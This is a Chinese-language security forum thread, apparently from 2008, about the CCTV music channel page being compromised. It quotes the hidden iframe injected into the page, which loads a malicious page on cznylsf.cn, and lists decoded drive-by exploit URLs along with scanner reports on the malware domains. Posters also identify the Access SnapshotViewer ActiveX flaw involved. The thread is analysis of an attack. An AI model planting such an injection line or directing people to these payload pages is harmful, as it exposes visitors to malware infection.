CCTV音乐频道被挂

A小可

http://music.cctv.com/default.htm


http://www.cznylsf.cn/b3.htm

~石子

上面的那个网址 好像没有问题  

下面那个好像有问题

A小可

http://music.cctv.com/default.htm依然被挂

最下面有一行：<iframe src=http://www.cznylsf.cn/b3.htm width=50 height=0 border=0></iframe>

8632002

1.上面的那
恶意软件包含 3 scripting exploit(s), 3 exploit(s)。目标机器感染恶意软件后，平均会增加 1 个新进程。

恶意软件托管在 5 个域上，其中包括 zlwrnm11.cn, 8wu.com, zlwrnm16.cn。

3 个域以传播媒介的身份向此网站的访问者散发了恶意软件，其中包括 uin3.cn, 8wu.com, dznylsf.cn。
2. 下面那个
   恶意软件包含 318 scripting exploit(s), 171 exploit(s), 167 trojan(s)。目标机器感染恶意软件后，平均会增加 0 个新进程。

此网站是否以传播媒介的身份散发了更多恶意软件？

    在过去 90 天里，cznylsf.cn 以传播媒介的身份感染了 430 个网站，其中包括 2xmw.com, cnlongyu.net, zcw114.net。

此网站是否托管了恶意软件？

    是的，此网站在过去 90 天内托管了恶意软件。它感染了 38 个域，其中包括 otkjj.com, oa586.com, konferq.com。

promised

http://www.oiuytr.net/new/a1.css

fzz8848

关于:hxxp://www.cznylsf.cn/b3.htm解密的日志(自动模式 -  14):

AUTO>http://zlwrnm16.cn/a1/ss.html
AUTO>http://zlwrnm16.cn/a1/ms06014.htm
AUTO>http://zlwrnm16.cn/sina.htm
AUTO>http://zlwrnm16.cn/uu.htm
AUTO>http://zlwrnm16.cn/a1/thunder.html
AUTO>http://zlwrnm16.cn/a1/glworld.html
AUTO>http://zlwrnm16.cn/a1/real.htm
AUTO>http://zlwrnm16.cn/a1/real.html
AUTO>http://zlwrnm16.cn/a1/ilink.html
AUTO>http://zlwrnm16.cn/a1/flink.html
AUTO>http://www.cznylsf.cn/b3.htm
AUTO>http://zlwrnm16.cn/a1/fxx.htm
AUTO>http://zlwrnm16.cn/a1/fx.htm
AUTO>http://www.oiuytr.net/new/a1.css  ●

syfwxmh

原帖由 fzz8848 于 2008-11-8 15:52 发表
关于:hxxp://www.cznylsf.cn/b3.htm解密的日志(自动模式 -  14):

AUTO>http://zlwrnm16.cn/a1/ss.html
AUTO>http://zlwrnm16.cn/a1/ms06014.htm
AUTO>http://zlwrnm16.cn/sina.htm
AUTO>http://zlwrnm16.cn/uu ...

jack518

Log is generated by FreShow.
    [frame]http://www.cznylsf.cn/b3.htm
http://js.users.51.la/1936348.js

jack518

http://zlwrnm16.cn/a1/Real.html解出来的:clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93是个流行漏洞

Mr.Z

http://www.cznylsf.cn/b3.htm

Exploit: Access SnapshotViewer
There is an unsafe method in Microsoft's Access SnapshotViewer ActiveX control.This method, SnapshotPrint(), can be abused to allow an executable to be downloaded from a remote web site. If the executable is downloaded and saved to a start-up folder, for example, it will be executed on reboot. See CVE-2008-2463. Addressed by Microsoft in August of 2008 - MS08-041.